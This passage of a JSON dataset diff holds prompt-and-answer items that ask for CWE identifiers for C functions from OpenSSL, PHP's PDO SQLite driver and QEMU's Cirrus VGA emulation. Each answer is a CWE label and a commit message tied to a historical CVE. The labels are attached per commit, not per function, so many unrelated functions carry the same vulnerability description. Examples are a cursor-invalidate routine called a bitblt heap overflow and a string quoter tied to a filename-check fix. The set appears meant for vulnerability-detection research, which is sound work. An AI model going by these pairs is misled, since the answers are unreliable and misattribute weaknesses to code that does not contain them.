btmp = NULL;\n        }\n    }\n\n    if (evp_cipher != NULL) {\n        if ((etmp = BIO_new(BIO_f_cipher())) == NULL) {\n            PKCS7err(PKCS7_F_PKCS7_DATADECODE, ERR_R_BIO_LIB);\n            goto err;\n        }\n\n        /*\n         * It was encrypted, we need to decrypt the secret key with the\n         * private key\n         */\n\n        /*\n         * Find the recipientInfo which matches the passed certificate (if\n         * any)\n         */\n\n        if (pcert) {\n            for (i = 0; i < sk_PKCS7_RECIP_INFO_num(rsk); i++) {\n                ri = sk_PKCS7_RECIP_INFO_value(rsk, i);\n                if (!pkcs7_cmp_ri(ri, pcert))\n                    break;\n                ri = NULL;\n            }\n            if (ri == NULL) {\n                PKCS7err(PKCS7_F_PKCS7_DATADECODE,\n                         PKCS7_R_NO_RECIPIENT_MATCHES_CERTIFICATE);\n                goto err;\n            }\n        }\n\n        /* If we haven't got a certificate try each ri in turn */\n        if (pcert == NULL) {\n            /*\n             * Always attempt to decrypt all rinfo even after success as a\n             * defence against MMA timing attacks.\n             */\n            for (i = 0; i < sk_PKCS7_RECIP_INFO_num(rsk); i++) {\n                ri = sk_PKCS7_RECIP_INFO_value(rsk, i);\n\n                if (pkcs7_decrypt_rinfo(&ek, &eklen, ri, pkey) < 0)\n                    goto err;\n                ERR_clear_error();\n            }\n        } else {\n            /* Only exit on fatal errors, not decrypt failure */\n            if (pkcs7_decrypt_rinfo(&ek, &eklen, ri, pkey) < 0)\n                goto err;\n            ERR_clear_error();\n        }\n\n        evp_ctx = NULL;\n        BIO_get_cipher_ctx(etmp, &evp_ctx);\n        if (EVP_CipherInit_ex(evp_ctx, evp_cipher, NULL, NULL, NULL, 0) <= 0)\n            goto err;\n        if (EVP_CIPHER_asn1_to_param(evp_ctx, enc_alg->parameter) < 0)\n            goto err;\n        /* Generate random key as MMA defence */\n        tkeylen = EVP_CIPHER_CTX_key_length(evp_ctx);\n        tkey = OPENSSL_malloc(tkeylen);\n        if (!tkey)\n            goto err;\n        if (EVP_CIPHER_CTX_rand_key(evp_ctx, tkey) <= 0)\n            goto err;\n        if (ek == NULL) {\n            ek = tkey;\n            eklen = tkeylen;\n            tkey = NULL;\n        }\n\n        if (eklen != EVP_CIPHER_CTX_key_length(evp_ctx)) {\n            /*\n             * Some S/MIME clients don't use the same key and effective key\n             * length. The key length is determined by the size of the\n             * decrypted RSA key.\n             */\n            if (!EVP_CIPHER_CTX_set_key_length(evp_ctx, eklen)) {\n                /* Use random key as MMA defence */\n                OPENSSL_clear_free(ek, eklen);\n                ek = tkey;\n                eklen = tkeylen;\n                tkey = NULL;\n            }\n        }\n        /* Clear errors so we don't leak information useful in MMA */\n        ERR_clear_error();\n        if (EVP_CipherInit_ex(evp_ctx, NULL, NULL, ek, NULL, 0) <= 0)\n            goto err;\n\n        OPENSSL_clear_free(ek, eklen);\n        ek = NULL;\n        OPENSSL_clear_free(tkey, tkeylen);\n        tkey = NULL;\n\n        if (out == NULL)\n            out = etmp;\n        else\n            BIO_push(out, etmp);\n        etmp = NULL;\n    }\n    if (PKCS7_is_detached(p7) || (in_bio != NULL)) {\n        bio = in_bio;\n    } else {\n        if (data_body->length > 0)\n            bio = BIO_new_mem_buf(data_body->data, data_body->length);\n        else {\n            bio = BIO_new(BIO_s_mem());\n            BIO_set_mem_eof_return(bio, 0);\n        }\n        if (bio == NULL)\n            goto err;\n    }\n    BIO_push(out, bio);\n    bio = NULL;\n    return out;\n\n err:\n    OPENSSL_clear_free(ek, eklen);\n    OPENSSL_clear_free(tkey, tkeylen);\n    BIO_free_all(out);\n    BIO_free_all(btmp);\n    BIO_free_all(etmp);\n    BIO_free_all(bio);\n    return  NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'PKCS#7: Fix NULL dereference with missing EncryptedContent.\n\nCVE-2015-1790\n\nReviewed-by: Rich Salz '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int pdo_sqlite_handle_factory(pdo_dbh_t *dbh, zval *driver_options TSRMLS_DC) /* {{{ */\n{\n\tpdo_sqlite_db_handle *H;\n\tint i, ret = 0;\n\tlong timeout = 60;\n\tchar *filename;\n\n\tH = pecalloc(1, sizeof(pdo_sqlite_db_handle), dbh->is_persistent);\n\t\n\tH->einfo.errcode = 0;\n\tH->einfo.errmsg = NULL;\n\tdbh->driver_data = H;\n\n\tfilename = make_filename_safe(dbh->data_source TSRMLS_CC);\n\n\tif (!filename) {\n\t\tzend_throw_exception_ex(php_pdo_get_exception(), 0 TSRMLS_CC,\n\t\t\t\"safe_mode/open_basedir prohibits opening %s\",\n\t\t\tdbh->data_source);\n\t\tgoto cleanup;\n\t}\n\n\ti = sqlite3_open(filename, &H->db);\n\tefree(filename);\n\n\tif (i != SQLITE_OK) {\n\t\tpdo_sqlite_error(dbh);\n\t\tgoto cleanup;\n\t}\n\n\tif (PG(safe_mode) || (PG(open_basedir) && *PG(open_basedir))) {\n\t\tsqlite3_set_authorizer(H->db, authorizer, NULL);\n\t}\n\n\tif (driver_options) {\n\t\ttimeout = pdo_attr_lval(driver_options, PDO_ATTR_TIMEOUT, timeout TSRMLS_CC);\n\t}\n\tsqlite3_busy_timeout(H->db, timeout * 1000);\n\n\tdbh->alloc_own_columns = 1;\n\tdbh->max_escaped_char_length = 2;\n\n\tret = 1;\n\t\ncleanup:\n\tdbh->methods = &sqlite_methods;\n\t\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-264'], 'message': 'Improve check for :memory: pseudo-filename in SQlite'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int sqlite_handle_quoter(pdo_dbh_t *dbh, const char *unquoted, int unquotedlen, char **quoted, int *quotedlen, enum pdo_param_type paramtype  TSRMLS_DC)\n{\n\t*quoted = safe_emalloc(2, unquotedlen, 3);\n\tsqlite3_snprintf(2*unquotedlen + 3, *quoted, \"'%q'\", unquoted);\n\t*quotedlen = strlen(*quoted);\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-264'], 'message': 'Improve check for :memory: pseudo-filename in SQlite'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void pdo_sqlite_cleanup_callbacks(pdo_sqlite_db_handle *H TSRMLS_DC)\n{\n\tstruct pdo_sqlite_func *func;\n\n\twhile (H->funcs) {\n\t\tfunc = H->funcs;\n\t\tH->funcs = func->next;\n\n\t\tif (H->db) {\n\t\t\t/* delete the function from the handle */\n\t\t\tsqlite3_create_function(H->db,\n\t\t\t\tfunc->funcname,\n\t\t\t\tfunc->argc,\n\t\t\t\tSQLITE_UTF8,\n\t\t\t\tfunc,\n\t\t\t\tNULL, NULL, NULL);\n\t\t}\n\n\t\tefree((char*)func->funcname);\n\t\tif (func->func) {\n\t\t\tzval_ptr_dtor(&func->func);\n\t\t}\n\t\tif (func->step) {\n\t\t\tzval_ptr_dtor(&func->step);\n\t\t}\n\t\tif (func->fini) {\n\t\t\tzval_ptr_dtor(&func->fini);\n\t\t}\n\t\tefree(func);\n\t}\n\n\twhile (H->collations) {\n\t\tstruct pdo_sqlite_collation *collation;\n\t\tcollation = H->collations;\n\t\tH->collations = collation->next;\n\n\t\tif (H->db) {\n\t\t\t/* delete the collation from the handle */\n\t\t\tsqlite3_create_collation(H->db,\n\t\t\t\tcollation->name,\n\t\t\t\tSQLITE_UTF8,\n\t\t\t\tcollation,\n\t\t\t\tNULL);\n\t\t}\n\n\t\tefree((char*)collation->name);\n\t\tif (collation->callback) {\n\t\t\tzval_ptr_dtor(&collation->callback);\n\t\t}\n\t\tefree(collation);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-264'], 'message': 'Improve check for :memory: pseudo-filename in SQlite'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void cirrus_bitblt_reset(CirrusVGAState * s)\n{\n    s->gr[0x31] &=\n\t~(CIRRUS_BLT_START | CIRRUS_BLT_BUSY | CIRRUS_BLT_FIFOUSED);\n    s->cirrus_srcptr = &s->cirrus_bltbuf[0];\n    s->cirrus_srcptr_end = &s->cirrus_bltbuf[0];\n    s->cirrus_srccounter = 0;\n    cirrus_update_memory_access(s);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void cirrus_mmio_blt_write(CirrusVGAState * s, unsigned address,\n\t\t\t\t  uint8_t value)\n{\n    switch (address) {\n    case (CIRRUS_MMIO_BLTBGCOLOR + 0):\n\tcirrus_hook_write_gr(s, 0x00, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTBGCOLOR + 1):\n\tcirrus_hook_write_gr(s, 0x10, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTBGCOLOR + 2):\n\tcirrus_hook_write_gr(s, 0x12, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTBGCOLOR + 3):\n\tcirrus_hook_write_gr(s, 0x14, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTFGCOLOR + 0):\n\tcirrus_hook_write_gr(s, 0x01, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTFGCOLOR + 1):\n\tcirrus_hook_write_gr(s, 0x11, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTFGCOLOR + 2):\n\tcirrus_hook_write_gr(s, 0x13, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTFGCOLOR + 3):\n\tcirrus_hook_write_gr(s, 0x15, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTWIDTH + 0):\n\tcirrus_hook_write_gr(s, 0x20, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTWIDTH + 1):\n\tcirrus_hook_write_gr(s, 0x21, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTHEIGHT + 0):\n\tcirrus_hook_write_gr(s, 0x22, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTHEIGHT + 1):\n\tcirrus_hook_write_gr(s, 0x23, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTDESTPITCH + 0):\n\tcirrus_hook_write_gr(s, 0x24, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTDESTPITCH + 1):\n\tcirrus_hook_write_gr(s, 0x25, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTSRCPITCH + 0):\n\tcirrus_hook_write_gr(s, 0x26, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTSRCPITCH + 1):\n\tcirrus_hook_write_gr(s, 0x27, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTDESTADDR + 0):\n\tcirrus_hook_write_gr(s, 0x28, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTDESTADDR + 1):\n\tcirrus_hook_write_gr(s, 0x29, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTDESTADDR + 2):\n\tcirrus_hook_write_gr(s, 0x2a, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTDESTADDR + 3):\n\t/* ignored */\n\tbreak;\n    case (CIRRUS_MMIO_BLTSRCADDR + 0):\n\tcirrus_hook_write_gr(s, 0x2c, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTSRCADDR + 1):\n\tcirrus_hook_write_gr(s, 0x2d, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTSRCADDR + 2):\n\tcirrus_hook_write_gr(s, 0x2e, value);\n\tbreak;\n    case CIRRUS_MMIO_BLTWRITEMASK:\n\tcirrus_hook_write_gr(s, 0x2f, value);\n\tbreak;\n    case CIRRUS_MMIO_BLTMODE:\n\tcirrus_hook_write_gr(s, 0x30, value);\n\tbreak;\n    case CIRRUS_MMIO_BLTROP:\n\tcirrus_hook_write_gr(s, 0x32, value);\n\tbreak;\n    case CIRRUS_MMIO_BLTMODEEXT:\n\tcirrus_hook_write_gr(s, 0x33, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTTRANSPARENTCOLOR + 0):\n\tcirrus_hook_write_gr(s, 0x34, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTTRANSPARENTCOLOR + 1):\n\tcirrus_hook_write_gr(s, 0x35, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTTRANSPARENTCOLORMASK + 0):\n\tcirrus_hook_write_gr(s, 0x38, value);\n\tbreak;\n    case (CIRRUS_MMIO_BLTTRANSPARENTCOLORMASK + 1):\n\tcirrus_hook_write_gr(s, 0x39, value);\n\tbreak;\n    case CIRRUS_MMIO_BLTSTATUS:\n\tcirrus_hook_write_gr(s, 0x31, value);\n\tbreak;\n    default:\n#ifdef DEBUG_CIRRUS\n\tprintf(\"cirrus: mmio write - addr 0x%04x val 0x%02x (ignored)\\n\",\n\t       address, value);\n#endif\n\tbreak;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static uint32_t cirrus_linear_readb(void *opaque, target_phys_addr_t addr)\n{\n    CirrusVGAState *s = (CirrusVGAState *) opaque;\n    uint32_t ret;\n\n    addr &= s->cirrus_addr_mask;\n\n    if (((s->sr[0x17] & 0x44) == 0x44) &&\n        ((addr & s->linear_mmio_mask) == s->linear_mmio_mask)) {\n\t/* memory-mapped I/O */\n\tret = cirrus_mmio_blt_read(s, addr & 0xff);\n    } else if (0) {\n\t/* XXX handle bitblt */\n\tret = 0xff;\n    } else {\n\t/* video memory */\n\tif ((s->gr[0x0B] & 0x14) == 0x14) {\n\t    addr <<= 4;\n\t} else if (s->gr[0x0B] & 0x02) {\n\t    addr <<= 3;\n\t}\n\taddr &= s->cirrus_addr_mask;\n\tret = *(s->vram_ptr + addr);\n    }\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: glue(glue(cirrus_bitblt_rop_fwd_transp_, ROP_NAME),_16)(CirrusVGAState *s,\n\t\t\t\t\t\t\tuint8_t *dst,const uint8_t *src,\n\t\t\t\t\t\t\tint dstpitch,int srcpitch,\n\t\t\t\t\t\t\tint bltwidth,int bltheight)\n{\n    int x,y;\n    uint8_t p1, p2;\n    dstpitch -= bltwidth;\n    srcpitch -= bltwidth;\n    for (y = 0; y < bltheight; y++) {\n        for (x = 0; x < bltwidth; x+=2) {\n\t    p1 = *dst;\n\t    p2 = *(dst+1);\n            ROP_OP(p1, *src);\n            ROP_OP(p2, *(src+1));\n\t    if ((p1 != s->gr[0x34]) || (p2 != s->gr[0x35])) {\n\t\t*dst = p1;\n\t\t*(dst+1) = p2;\n\t    }\n            dst+=2;\n            src+=2;\n        }\n        dst += dstpitch;\n        src += srcpitch;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int cirrus_bitblt_videotovideo(CirrusVGAState * s)\n{\n    int ret;\n\n    if (s->cirrus_blt_mode & CIRRUS_BLTMODE_PATTERNCOPY) {\n\tret = cirrus_bitblt_videotovideo_patterncopy(s);\n    } else {\n\tret = cirrus_bitblt_videotovideo_copy(s);\n    }\n    if (ret)\n\tcirrus_bitblt_reset(s);\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void cirrus_cursor_invalidate(VGAState *s1)\n{\n    CirrusVGAState *s = (CirrusVGAState *)s1;\n    int size;\n\n    if (!s->sr[0x12] & CIRRUS_CURSOR_SHOW) {\n        size = 0;\n    } else {\n        if (s->sr[0x12] & CIRRUS_CURSOR_LARGE)\n            size = 64;\n        else\n            size = 32;\n    }\n    /* invalidate last cursor and new cursor if any change */\n    if (s->last_hw_cursor_size != size ||\n        s->last_hw_cursor_x != s->hw_cursor_x ||\n        s->last_hw_cursor_y != s->hw_cursor_y) {\n\n        invalidate_cursor1(s);\n\n        s->last_hw_cursor_size = size;\n        s->last_hw_cursor_x = s->hw_cursor_x;\n        s->last_hw_cursor_y = s->hw_cursor_y;\n        /* compute the real cursor min and max y */\n        cirrus_cursor_compute_yrange(s);\n        invalidate_cursor1(s);\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int cirrus_hook_write_palette(CirrusVGAState * s, int reg_value)\n{\n    if (!(s->sr[0x12] & CIRRUS_CURSOR_HIDDENPEL))\n\treturn CIRRUS_HOOK_NOT_HANDLED;\n    s->dac_cache[s->dac_sub_index] = reg_value;\n    if (++s->dac_sub_index == 3) {\n        memcpy(&s->cirrus_hidden_palette[(s->dac_write_index & 0x0f) * 3],\n               s->dac_cache, 3);\n        /* XXX update cursor */\n\ts->dac_sub_index = 0;\n\ts->dac_write_index++;\n    }\n    return CIRRUS_HOOK_HANDLED;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void vga_ioport_write(void *opaque, uint32_t addr, uint32_t val)\n{\n    CirrusVGAState *s = opaque;\n    int index;\n\n    /* check port range access depending on color/monochrome mode */\n    if ((addr >= 0x3b0 && addr <= 0x3bf && (s->msr & MSR_COLOR_EMULATION))\n\t|| (addr >= 0x3d0 && addr <= 0x3df\n\t    && !(s->msr & MSR_COLOR_EMULATION)))\n\treturn;\n\n#ifdef DEBUG_VGA\n    printf(\"VGA: write addr=0x%04x data=0x%02x\\n\", addr, val);\n#endif\n\n    switch (addr) {\n    case 0x3c0:\n\tif (s->ar_flip_flop == 0) {\n\t    val &= 0x3f;\n\t    s->ar_index = val;\n\t} else {\n\t    index = s->ar_index & 0x1f;\n\t    switch (index) {\n\t    case 0x00 ... 0x0f:\n\t\ts->ar[index] = val & 0x3f;\n\t\tbreak;\n\t    case 0x10:\n\t\ts->ar[index] = val & ~0x10;\n\t\tbreak;\n\t    case 0x11:\n\t\ts->ar[index] = val;\n\t\tbreak;\n\t    case 0x12:\n\t\ts->ar[index] = val & ~0xc0;\n\t\tbreak;\n\t    case 0x13:\n\t\ts->ar[index] = val & ~0xf0;\n\t\tbreak;\n\t    case 0x14:\n\t\ts->ar[index] = val & ~0xf0;\n\t\tbreak;\n\t    default:\n\t\tbreak;\n\t    }\n\t}\n\ts->ar_flip_flop ^= 1;\n\tbreak;\n    case 0x3c2:\n\ts->msr = val & ~0x10;\n\tbreak;\n    case 0x3c4:\n\ts->sr_index = val;\n\tbreak;\n    case 0x3c5:\n\tif (cirrus_hook_write_sr(s, s->sr_index, val))\n\t    break;\n#ifdef DEBUG_VGA_REG\n\tprintf(\"vga: write SR%x = 0x%02x\\n\", s->sr_index, val);\n#endif\n\ts->sr[s->sr_index] = val & sr_mask[s->sr_index];\n\tbreak;\n    case 0x3c6:\n\tcirrus_write_hidden_dac(s, val);\n\tbreak;\n    case 0x3c7:\n\ts->dac_read_index = val;\n\ts->dac_sub_index = 0;\n\ts->dac_state = 3;\n\tbreak;\n    case 0x3c8:\n\ts->dac_write_index = val;\n\ts->dac_sub_index = 0;\n\ts->dac_state = 0;\n\tbreak;\n    case 0x3c9:\n\tif (cirrus_hook_write_palette(s, val))\n\t    break;\n\ts->dac_cache[s->dac_sub_index] = val;\n\tif (++s->dac_sub_index == 3) {\n\t    memcpy(&s->palette[s->dac_write_index * 3], s->dac_cache, 3);\n\t    s->dac_sub_index = 0;\n\t    s->dac_write_index++;\n\t}\n\tbreak;\n    case 0x3ce:\n\ts->gr_index = val;\n\tbreak;\n    case 0x3cf:\n\tif (cirrus_hook_write_gr(s, s->gr_index, val))\n\t    break;\n#ifdef DEBUG_VGA_REG\n\tprintf(\"vga: write GR%x = 0x%02x\\n\", s->gr_index, val);\n#endif\n\ts->gr[s->gr_index] = val & gr_mask[s->gr_index];\n\tbreak;\n    case 0x3b4:\n    case 0x3d4:\n\ts->cr_index = val;\n\tbreak;\n    case 0x3b5:\n    case 0x3d5:\n\tif (cirrus_hook_write_cr(s, s->cr_index, val))\n\t    break;\n#ifdef DEBUG_VGA_REG\n\tprintf(\"vga: write CR%x = 0x%02x\\n\", s->cr_index, val);\n#endif\n\t/* handle CR0-7 protection */\n\tif ((s->cr[0x11] & 0x80) && s->cr_index <= 7) {\n\t    /* can always write bit 4 of CR7 */\n\t    if (s->cr_index == 7)\n\t\ts->cr[7] = (s->cr[7] & ~0x10) | (val & 0x10);\n\t    return;\n\t}\n\tswitch (s->cr_index) {\n\tcase 0x01:\t\t/* horizontal display end */\n\tcase 0x07:\n\tcase 0x09:\n\tcase 0x0c:\n\tcase 0x0d:\n\tcase 0x12:\t\t/* vertical display end */\n\t    s->cr[s->cr_index] = val;\n\t    break;\n\n\tdefault:\n\t    s->cr[s->cr_index] = val;\n\t    break;\n\t}\n\tbreak;\n    case 0x3ba:\n    case 0x3da:\n\ts->fcr = val & 0x10;\n\tbreak;\n    }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'CVE-2007-1320 - Cirrus LGD-54XX \"bitblt\" heap overflow\n\nI have just noticed that patch for CVE-2007-1320 has never been applied\nto the QEMU CVS. Please find it below.\n\n| Multiple heap-based buffer overflows in the cirrus_invalidate_region\n| function in the Cirrus VGA extension in QEMU 0.8.2, as used in Xen and\n| possibly other products, might allow local users to execute arbitrary\n| code via unspecified vectors related to \"attempting to mark\n| non-existent regions as dirty,\" aka the \"bitblt\" heap overflow.\n\n\ngit-svn-id: svn://svn.savannah.nongnu.org/qemu/trunk@4340 c046a42c-6fe2-441c-8c8c-71466251a162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void vga_ioport_write(void *opaque, uint32_t addr, uint32_t val)\n{\n    CirrusVGAState *s = opaque;\n    int index;\n\n    /* check port range access depending on color/monochrome mode */\n    if ((addr >= 0x3b0 && addr <= 0x3bf && (s->msr & MSR_COLOR_EMULATION))\n\t|| (addr >= 0x3d0 && addr <= 0x3df\n\t    && !(s->msr & MSR_COLOR_EMULATION)))\n\treturn;\n\n#ifdef DEBUG_VGA\n    printf(\"VGA: write addr=0x%04x data=0x%02x\\n\", addr, val);\n#endif\n\n    switch (addr) {\n    case 0x3c0:\n\tif (s->ar_flip_flop == 0) {\n\t    val &= 0x3f;\n\t    s->ar_index = val;\n\t} else {\n\t    index = s->ar_index & 0x1f;\n\t    switch (index) {\n\t    case 0x00 ... 0x0f:\n\t\ts->ar[index] = val & 0x3f;\n\t\tbreak;\n\t    case 0x10:\n\t\ts->ar[index] = val & ~0x10;\n\t\tbreak;\n\t    case 0x11:\n\t\ts->ar[index] = val;\n\t\tbreak;\n\t    case 0x12:\n\t\ts->ar[index] = val & ~0xc0;\n\t\tbreak;\n\t    case 0x13:\n\t\ts->ar[index] = val & ~0xf0;\n\t\tbreak;\n\t    case 0x14:\n\t\ts->ar[index] = val & ~0xf0;\n\t\tbreak;\n\t    default:\n\t\tbreak;\n\t    }\n\t}\n\ts->ar_flip_flop ^= 1;\n\tbreak;\n    case 0x3c2:\n\ts->msr = val & ~0x10;\n\ts->update_retrace_info((VGAState *) s);\n\tbreak;\n    case 0x3c4:\n\ts->sr_index = val;\n\tbreak;\n    case 0x3c5:\n\tif 